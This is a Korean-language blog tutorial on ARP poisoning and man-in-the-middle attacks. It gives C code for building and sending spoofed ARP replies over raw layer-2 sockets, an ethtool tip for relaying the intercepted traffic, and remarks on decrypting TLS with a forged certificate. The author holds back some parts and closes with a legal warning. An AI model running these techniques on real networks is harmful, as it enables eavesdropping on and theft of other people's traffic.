ARP 포이즈닝(ARP 스푸핑) & MITM 공격
나쁜짓

ARP 포이즈닝(ARP 스푸핑) & MITM 공격

흘러다니는 ARP 패킷들

  ARP 스푸핑. 네트워크와 보안을 공부 하게되면 꼭 한번은 배우게되는 공격이다. 다른 말로는 ARP 테이블을 오염시킨다는 의미에서 ARP 포이즈닝 이라고 부르기도 한다.

  개요만 짚고 넘어가자면 LAN 상에서 IP:MAC 쌍을 속이는 행위인데,
공격대상이 192.168.0.4 - AA:AA:AA:AA:AA:AA 쌍을 가지고
게이트웨이가 192.168.0.1 - BB:BB:BB:BB:BB:BB 쌍을 가진다고 할 때,
서로 IP:MAC 쌍을 교환하여 각자의 ARP테이블에 기록해두고, 앞으로 이를 참조하여 데이터를 주고받게된다.

  이 둘의 통신에 192.168.0.66 - 66:66:66:66:66:66 이라는 해커가 중간에 개입하여 
공격대상이 게이트웨이 주소쌍을 192.168.0.1 - 66:66:66:66:66:66 로 잘못 알도록 유도하고
게이트웨이는 공격대상의 주소를 192.168.0.4 - 66:66:66:66:66:66 으로 잘못 알도록 유도한다.

  이렇게 되면 해커는 공격대상과 게이트웨이 사이에 끼어있는 형국이 되며, 이것을 바로 중간자 공격, Man In The Middle 이라고 한다. 어디서 많이 들어봤지?


  주로 이 주제를 다루는 게시물들의 90% 이상은 칼리 리눅스에서 공격 실습을 진행 한다. 이것저것 공격 툴들도 많이 제공되고 있고 바로 쓰기 편하기 때문인데, 보통은 arpspoof 라는 툴과 fragrouter 라는 툴을 많이 들 이용한다.

  arpspoof 는 이름 그대로 ARP 스푸핑을 해주는 툴이고, fragrouter 는 스푸핑을 통해 해커가 받은 데이터를 다른곳으로 전달해줄 용도로 사용하게된다. 하지만 이것이 과연 우리의 진짜로 가려운곳을 긁어줄까?

  arpspoof 툴과 fragrouter 툴을 사용한 ARP Spoof - MITM 공격을 원한다면 다른 블로그를 한번 참조 해보길 바란다. 이 게시물에서는 이 툴을 직접 프로그램 할 것이다. 내용과 스크롤은 길어 질 것이며, 여러분의 정신건강에도 좋지 않을 수 있다. 물론 전체 코드는 제공하지 않는다. 하지만, 충분한 힌트와 시행착오를 최소화 할 수 있는 여러 팁들을 제공 해 줄 것이다.

작성되는 코드는 리눅스 베이스이다. 이전 글에서 언급 했듯이 윈도우즈엔 소켓 API의 한계가 존재하기 때문이다.

https://nitwit.tistory.com/18?category=417533 

 

로우소켓에 대해서...

소켓 프로그래밍을 배우다보면 로우소켓이라는 신비한 존재를 접하게 된다. 처음 이 로우소켓을 보고나면 재밌는것들이 꽤 많이 떠오른다 TCP - SYN Flood 공격, 공격이 아닌 SYN 스캔, TCP의 다양한

nitwit.tistory.com

TCP 로우소켓도 안 만들어지는 OS에서 공격이라니... 드라이버 레벨까지 내려가기엔 너무 성가시다.


  우선 해커 자기 자신이 어떤 MAC 주소를 가지는지 알아야 한다. 그래야 ARP 패킷에 해커 본인의 주소를 넣어, 위장 할 수 있기 때문이다. 명령어로 확인하는 방법이야 많지만 (ifconfig, ip addr 등), 깔끔하게 프로그램에서 확인 하는 방법은 다음과 같다. 작성한 소스의 #include 구문들이 깔끔하지 않아, 이는 배제하고 코드를 작성하였다.

typedef int                   BOOL;
typedef struct in_addr        IN_ADDR; /*INET Addr*/
typedef int                   SOCKET;
 
#define TRUE          (1)
#define FALSE         (0)
 
/**
    @brief 인터페이스로 IOCTL 전달
    @return 성공시 TRUE, 실패시 FALSE
*/
static BOOL SendIoctl(char* InterfaceName, unsigned short nIOCTL, struct ifreq* pReq)
{
    SOCKET sock;
    BOOL bRet;
 
    if (!pReq) return FALSE;
    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0return FALSE;
 
    memset(pReq, 0sizeof(struct ifreq));
    strcpy(pReq->ifr_name, InterfaceName);
    bRet = TRUE;
    if (ioctl(sock, nIOCTL, pReq) < 0) bRet = FALSE;
    close(sock);
    return bRet;
}
 
/**
    @brief 인터페이스의 인덱스 넘버를 얻어온다
    @remark 실패시 -1
*/
int SA_GetInterfaceIndex(char* InterfaceName)
{
    struct ifreq Req;
 
    if (!SendIoctl(InterfaceName, SIOCGIFINDEX, &Req)) return -1;
    return Req.ifr_ifindex;
}
 
/**
    @brief  인터페이스의 MAC 주소를 얻어온다
    @return 성공시 TRUE, 실패시 FALSE 반환
*/
BOOL SA_GetLocalMacAddr(char* InterfaceName, unsigned char* pMAC)
{
    struct ifreq Req;
 
    if (!SendIoctl(InterfaceName, SIOCGIFHWADDR, &Req)) return FALSE;
    memcpy(pMAC, Req.ifr_ifru.ifru_hwaddr.sa_data, 6); /*MAC 주소 6바이트*/
    return TRUE;
}
 
/**
    @brief  인터페이스의 IP 주소를 얻어온다
    @return 성공시 TRUE, 실패시 FALSE 반환
*/
int SA_GetLocalIP(char* InterfaceName, unsigned char* pIP)
{
    struct ifreq Req;
 
    if (!SendIoctl(InterfaceName, SIOCGIFADDR, &Req)) return FALSE;
    memcpy(pIP, Req.ifr_ifru.ifru_addr.sa_data + 24); /*IP 주소 4바이트*/
    return TRUE;
}
 
cs

  SA 라는 접두어는 그냥 소켓 어시스트라는 지어낸 약자이며, 이름은 맘대로 지어도 좋다. 이 공격을 위해서가 아니더라도, 가끔 쓸 일 있을 법 한 함수도 몇개 넣어줬다. 잘 쓰시길... ex) SA_GetLocalMacAddr("eth0", MyMac);

 

  그리고 소켓을 열자. 2계층 소켓 말이다. 길이가 짧은 코드이거나, 참조 관계가 너무 깊어 개인적인 소스까지 뜯어오기 곤란해지는 경우에는 굳이 스크립터를 사용하지 않고 이미지로 올리겠다. 알록달록 하이라이팅이 들어가 있는편이 여러분들에겐 좀 더 읽기 좋을테니까... 짧은 소스는 직접 타이핑 하기도 쉽고.

  2계층 소켓을 만들어서 적절히 위조된 ARP 프레임을 송신 할 목적이다. 그러려면 이더넷 헤더와 ARP 헤더도 만들어야 할 것이다.

/**
    @brief 플랫폼별 구조체 pack 키워드 통합
*/
#ifdef WIN32
#define STRUCT_PACK_START #pragma pack(1)
#define STRUCT_PACK_END   #pragma pack()
#define STRUCT_PACK_TRAILER
#elif __linux__
#define STRUCT_PACK_START
#define STRUCT_PACK_END
#define STRUCT_PACK_TRAILER __attribute__((packed))
#endif
 
typedef struct in_addr IN_ADDR; /*INET Addr*/
 
/**
    @brief 이더넷 프레임 구조체
*/
STRUCT_PACK_START
typedef struct _st_802_3
{
    unsigned char  Dst[6]; /**< 목적지 MAC 주소*/
    unsigned char  Src[6]; /**< 소스 MAC 주소*/
    union{
        unsigned short Type;   /**< 이후 데이터 타입*/
        unsigned short Len;    /**< 프레임 길이*/
    };
} STRUCT_PACK_TRAILER IEEE_802_3, ETHERNET;
STRUCT_PACK_END
 
/**
    @brief ARP 프로토콜 구조체
*/
STRUCT_PACK_START
typedef struct _st_ARP
{
    unsigned short HardwareType;    /**< 하드웨어 타입*/
    unsigned short ProtocolType;    /**< 프로토콜 타입*/
    unsigned char  HWAddrLen;       /**< 하드웨어 주소 길이 (MAC 주소)*/
    unsigned char  PTAddrLen;       /**< 프로토콜 주소 길이 (IP 주소)*/
    unsigned short Opcode;          /**< 명령코드*/
    unsigned char  SenderHWAddr[6]; /**< 송신자 MAC 주소*/
    union {
        unsigned char  SenderPTAddr[4]; /**< 송신자 IP 주소*/
        IN_ADDR        SenderIPAddr;    /**< 송신자 IP 주소(IN_ADDR 타입)*/
    };
    unsigned char  TargetHWAddr[6]; /**< 타겟 MAC 주소*/
    union {
        unsigned char  TargetPTAddr[4]; /**< 타겟 IP 주소*/
        IN_ADDR        TargetIPAddr;    /**< 타겟 IP 주소(IN_ADDR 타입)*/
    };
} STRUCT_PACK_TRAILER ARP;
STRUCT_PACK_END
 
cs

 이제 ARP 패킷을 작성할 준비는 된 것이다. 그러나 패킷을 작성하는 코드를 직접 짜는것은 여간 성가신 일이 아니다. 구조체 하나하나 다 채워넣고 대입하는 작업은 단순 반복이라 의미있는 행위도 아니다. 그래서 이 또한 만들어주자.

/*이더넷 프레임의 프로토콜타입 필드에 들어갈 값을 지정한다*/
#define ETHERNET_TYPE_XEROX           0x0600
#define ETHERNET_TYPE_IPV4            0x0800
#define ETHERNET_TYPE_X25             0x0805
#define ETHERNET_TYPE_ARP             0x0806
#define ETHERNET_TYPE_RARP            0x0835
#define ETHERNET_TYPE_DEC             0x6003
#define ETHERNET_TYPE_VLAN            0x8100
#define ETHERNET_TYPE_NOVELL          0x8137
#define ETHERNET_TYPE_NETBIOS         0x8191
#define ETHERNET_TYPE_IPV6            0x86DD
#define ETHERNET_TYPE_MPLS            0x8847
#define ETHERNET_TYPE_PPPOE_DISCOVERY 0x8863
#define ETHERNET_TYPE_PPPOE_PPP_STAGE 0x8864
#define ETHERNET_TYPE_802_1X          0x888E
#define ETHERNET_TYPE_LLDP            0x88CC
#define ETHERNET_ADDR_BROADCAST   "\xFF\xFF\xFF\xFF\xFF\xFF"
 
 
/*ARP 프로토콜의 Opcode 필드에 들어갈 값을 지정한다*/
#define ARP_OPCODE_ARP_REQUEST   1
#define ARP_OPCODE_ARP_REPLY     2
#define ARP_OPCODE_RARP_REQUEST  3
#define ARP_OPCODE_RARP_REPLY    4
#define ARP_OPCODE_DRARP_REQUEST 5
#define ARP_OPCODE_DRARP_REPLY   6
#define ARP_OPCODE_DRARP_ERR     7
#define ARP_OPCODE_INARP_REQUEST 8
#define ARP_OPCODE_INARP_REPLY   9
 
#define ARP_HARDWARETYPE_ETHERNET 1
#if 0 /*TODO : ARP 명세를 통해 다양한 링크타입 일람 필요*/
#define ARP_HARDWARETYPE_80211 ???
#endif
 
#define ARP_PROTOCOLTYPE_IPV4 0x0800
#if 0 /*TODO : ARP 명세를 통해 다양한 프로토콜 타입 일람 필요*/
#define ARP_PROTOCOLTYPE_IPV6 ???
#endif
 
 
typedef struct sockaddr_ll    SOCKADDR_LL;
 
 
/**
    @brief 이더넷 페이로드를 작성한다
*/
void ETHERNET_WritePayload(unsigned char* pPayload, unsigned char* eth_dst, unsigned char* eth_src, unsigned short eth_type)
{
    ETHERNET* eth;
 
    eth = (ETHERNET*)pPayload;
    memcpy(eth->Dst, eth_dst, 6);
    memcpy(eth->Src, eth_src, 6);
    eth->Type = eth_type;
}
 
/**
    @brief  ARP 페이로드 작성
    @remark 프로토콜 필드의 인자들은 네트워크 바이트 오더로 채워준다
*/
void ARP_WritePayload(unsigned char* pPayload, unsigned short arp_HardwareType, unsigned short arp_ProtocolType, unsigned short arp_Opcode,
                      unsigned char* arp_SenderMAC, IN_ADDR arp_SenderIP,
                      unsigned char* arp_TargetMAC, IN_ADDR arp_TargetIP)
{
    ARP* arp;
 
    if (!pPayload) return;
    arp = (ARP*)pPayload;
    /*ARP 필드 채우기*/
    arp->HardwareType = arp_HardwareType;
    arp->ProtocolType = arp_ProtocolType;
    arp->HWAddrLen = ETH_ALEN;
    arp->PTAddrLen = 4;
    arp->Opcode = arp_Opcode;
    memcpy(arp->SenderHWAddr, arp_SenderMAC, 6);
    arp->SenderIPAddr = arp_SenderIP;
    memcpy(arp->TargetHWAddr, arp_TargetMAC, 6);
    arp->TargetIPAddr = arp_TargetIP;
}
 
/**
    @brief 스푸핑된 ARP 패킷을 한개 전송한다
    @param sock AF_PACKET / SOCK_RAW / ETH_P_ALL 로 열린 2계층 소켓
    @remark TargetMac/TargetIP 쌍에게 LocalMac/SpoofIP 쌍을 가진다고 알려줌
*/
BOOL ATTACK_SendArpSpoof(char* pInterfaceName, SOCKET sock, unsigned char* LocalMAC, unsigned char* TargetMAC, IN_ADDR TargetIP, IN_ADDR SpoofIP)
{
    unsigned char Payload[1024];
    ETHERNET*     pETH;
    ARP*          pARP;
    SOCKADDR_LL   sa;
 
    if (!sock) return FALSE;
    pETH = (ETHERNET*)Payload;
    pARP = (ARP*)(Payload+sizeof(ETHERNET));
 
    /*TargetIP:TargetMAC이 SpoofIP를 SpoofMAC으로 알도록 함. */
    ETHERNET_WritePayload((unsigned char*)pETH, TargetMAC, LocalMAC, htons(ETHERNET_TYPE_ARP));
    ARP_WritePayload((unsigned char*)pARP, htons(ARP_HARDWARETYPE_ETHERNET), htons(ARP_PROTOCOLTYPE_IPV4),
                     htons(ARP_OPCODE_ARP_REPLY), LocalMAC, SpoofIP, TargetMAC, TargetIP);
 
    memset(&sa, 0sizeof(sa));
    sa.sll_ifindex = SA_GetInterfaceIndex(pInterfaceName);
    sa.sll_halen = ETH_ALEN; /*이더넷 주소길이 = 6*/
    if (sendto(sock, Payload, sizeof(ETHERNET)+sizeof(ARP), NULL, (SOCKADDR*)&sa, sizeof(sa)) < 0return FALSE;
    return TRUE;
}
cs

  ATTACK_SendArpSpoof 함수 호출로 특정 IP와 특정 MAC이 쌍이라는 ARP 응답패킷을 보낼 수 있다. 여기서 특정 IP와 특정 MAC을 게이트웨이의IP : 해커의 MAC 으로 짝을 지어, 공격 대상에게 전송한다면, 공격대상은 게이트웨이로 보내야 할 패킷을 해커의 MAC으로 전송 해버리게 된다.

그럼 이제 공격대상과 게이트웨이에게 이 악의적인 패킷을 각각 전달 해주자.

저는 이렇게 썼어요

  ARP 포이즈닝 방어 대책이 없는 네트워크라면, 공격 즉시 공격대상의 모든 트래픽이 해커에게 넘어오게된다. 그러나  받기만 할 뿐, 지금 현재로써는 이 데이터를 가지고 아무런 작업도 하지 않기 때문에 당연히 공격대상 입장에서는 인터넷이 끊긴 것 처럼 보일 것이다. 이러면 정상적인 통신이 안되므로 유의미한 트래픽도 얻어낼 수도 없다.

  딱 여기까지가 arpspoof 툴이 하는 역할이고, 이후로는 fragrouter 툴처럼 받은 데이터를 원래 가야할 자리로 다시 보내주는 일종의 릴레이 역할을 해주어야 한다.

스레드를 하나 더 만들어주자.

내용 별거 없으니 이미지로 올립니다.

  ARP 포이즈닝 이후, recvfrom을 호출해보면 게이트웨이와 공격대상이 보낸 데이터들을 전부 받을 수 있다. 이때 받은 데이터의 주소를 적절히 바꿔준다.

  [공격대상 MAC -> 해커의 MAC] 으로 온 데이터를 [해커의 MAC -> 게이트웨이 MAC] 으로 바꿔서 sendto 해주면 된다. 물론 반대의 경우엔 역시 반대로 해주면 된다. 코드에 다 나와있다.


하지만 여기엔 큰 문제가 숨어있다. 말 그대로 "큰" 문제이다.

이더넷의 규격상 한번에 보낼 수 있는 최대 바이트수는 1514바이트이다.  왜 1514냐고?

iptime 社 공유기 관리자 페이지

  이런 화면 많이들 보셨으리라 믿는다. 잘 보면 MTU 필드가 있는데 이 MTU라는것은 Maximum Transmission Unit. 그러니까 최대 전송 단위라는 뜻이다. 이더넷 헤더는 소스MAC 6바이트. 목적지MAC 6바이트. 하위프로토콜타입 2바이트 해서 총 14바이트를 갖는다. 그래서 MTU 1500 에 이더넷 헤더 14. 그래서 1514.

  문제는 랜카드 인터페이스에서 오프로드를 지원하는경우 이보다 더 큰 데이터를 주고 받을수 있다는 것이다. 일반적으로는 더 빠르고 안정적인 통신을 기대할 수 있지만 지금은 공격자의 입장이므로 그런 기능이 오히려 발목을 잡는다.

  저 스레드에서는 받은 데이터를 그대로 다시 전송해주는 역할을 하는데, 받은 데이터의 크기가 5000 바이트였다면 보낼때도 5000바이트를 보내주어야 한다. 하지만 2계층 로우소켓에는 연결의 개념이 없으므로 sendto 함수를 써야하는데 이 함수는 MTU 단위를 넘는 데이터를 보내게되면 "Too large message"(조금 다를수 있는데 하여튼 이거랑 비슷한 에러) 라는 errno 코드를 뱉으면서 실패하고 -1 를 반환한다. 별도의 작업이 없다면 이 1514바이트를 넘는 데이터를 sendto 할 수 없고 -1를 반환하게된다.

  이렇게되면 공격 당하는 입장에서 웹 접속을 한다고 치면 어떤 요소는 로드 되고 어떤 요소는 로드되지 않는, 되는것도 아니고 안되는것도 아닌 상황이 펼쳐지게된다. 이러면 누가봐도 수상하다.

ethtool 명령으로 인터페이스의 사양을 체크 및 변경 할 수 있다.

  ethtool 명령을 사용해 -k (소문자 k는 조회) 옵션을 줌으로써 지정 인터페이스의 기능 지원 현황을 볼 수 있는데 중요한 부분은 오프로드 관련 기능이다.

일반 수신 오프로드 기능이 on 임을 확인 할 수 있다.

  ARP 공격이 제대로 먹히지 않는 것 같다 싶으면 저런 오프로드 기능이 켜져 있을 확률이 매우 높다. ethtool 의 -K (대문자 K는 수정) 옵션으로 generic-receive-offload 를 꺼주자. 줄여서 gro 라고 한다.

$ ethtool -K wlan0 gro off

  이 이후로 받는 데이터의 크기는 무조건 1514바이트 이하로 들어온다. 따라서 다시 보내야 할 데이터 크기도 자연스럽게 1514바이트 이하가 되고 sendto 호출에도 문제가 없게된다. 물론 이 부분 또한 명령어가 아닌 코드로써 넣을수 있으므로, 이 부분은 여러분이 한번 스스로 연구 해 보길 바란다.

 

캡쳐된 DNS 패킷들도 보인다

  해커 입장에서 당장 와이어샤크만 켜봐도, 공격 대상이 주고받는 데이터가 모두 들어오는것을 확인 할 수 있다. 응용 예시로, DNS 패킷만 따로 로그를 떠서 이녀석이 어디를 접속하는지 등을 추적하여 무엇에 주로 관심을 갖는지를 알 수 있을것이고, TLS 핸드셰이크에 개입하여 해커가 생성한 암호화 인증서를 넘겨줌으로써 암호화통신 마저도 모두 복호화 해 볼 수 있다. 

  주고받는 사진, 보고있는 영상, 통화 음성, 채팅 내역, SSH 연결 모두 노출된다. 실제로 이러한 기능을 역 이용하여 방화벽으로 사용하기도 하고 심지어 팔린다. 

https://firewalla.com/products/firewalla-red

 

Firewalla Red: Smart Cyber Security Firewall Appliance Protecting Your Family and Business (Ships Worldwide)

Firewalla is an all in one simple and affordable next-generation cybersecurity firewall that connects to your router and secures all of your digital things. It can protect your family from cyber threats, block ads, control kids' internet usage, and even pr

firewalla.com

  저 조그만 장비 하나만 공유기에 물려놔도 ARP 스푸핑을 통해 통신 흐름을 가로챈다. 물론 좋은 일을 하기 위한 것으로 키즈 컨텐츠 필터링, 악의적인 패킷, 공격 등이 감지될경우 패킷을 통과 및 드랍 시켜주는 고마운 녀석이다.

  기술은 양날의 칼이다. 어떻게 쓰느냐에 따라 빛이 될수도 있고 둠이 될수도 있다. 악용하다 걸리면 정보통신망법에 의해 참교육을 당하고 말 것이다. 이왕이면 하얀 모자를 쓰시길.

'나쁜짓' 카테고리의 다른 글

NDIS 드라이버를 통한 무선 데이터 도청  (6) 2020.09.23